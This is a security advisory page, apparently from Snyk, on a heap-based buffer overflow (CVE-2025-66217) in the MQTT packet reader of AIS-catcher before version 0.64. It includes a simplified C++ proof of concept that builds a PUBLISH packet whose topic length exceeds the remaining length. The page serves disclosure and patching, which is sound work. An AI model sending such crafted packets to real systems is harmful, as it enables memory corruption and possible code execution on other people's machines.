Heap-based Buffer Overflow Affecting jvde-github/AIS-catcher package, versions [,0.64)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.31% (54th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Heap-based Buffer Overflow vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-UNMANAGED-JVDEGITHUBAISCATCHER-14151781
  • published30 Nov 2025
  • disclosed29 Nov 2025
  • creditUnknown

Introduced: 29 Nov 2025

NewCVE-2025-66217  (opens in a new tab)
CWE-122  (opens in a new tab)

How to fix?

Upgrade jvde-github/AIS-catcher to version 0.64 or higher.

Overview

Affected versions of this package are vulnerable to Heap-based Buffer Overflow via the Protocol::MQTT::read function, which process a PUBLISH packet with QoS 0. An attacker can cause memory corruption and potentially execute arbitrary code by sending a specially crafted MQTT packet with a manipulated Topic Length field.

PoC

// poc_mqtt_library.cpp (Simplified)
// ... (Include headers and MockProtocol definition) ...

int main() {
    MockProtocol mock;
    Protocol::MQTT mqtt;
    mock.add(&mqtt);

    // 1. Construct Malicious Packet (Topic Length > Remaining Length)
    std::vector<uint8_t> packet = {
        0x20, 0x02, 0x00, 0x00,       // CONNACK
        0x30, 10,                     // PUBLISH, Remaining Length=10
        0x00, 0x14,                   // Topic Length=20 (Underflow!)
        'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A' // Dummy Topic
    };
    mock.setPacket(packet);
    mqtt.onConnect();

    // 2. Allocate a valid buffer
    uint8_t* buffer = new uint8_t[1024];

    // 3. Trigger Vulnerability
    // This call triggers memcpy(buffer, source, -12)
    // -12 becomes ~18 EB (unsigned), causing massive heap overflow.
    mqtt.read(buffer, 1024);

    delete[] buffer;
    return 0;
}

References

CVSS Base Scores

version 4.0
version 3.1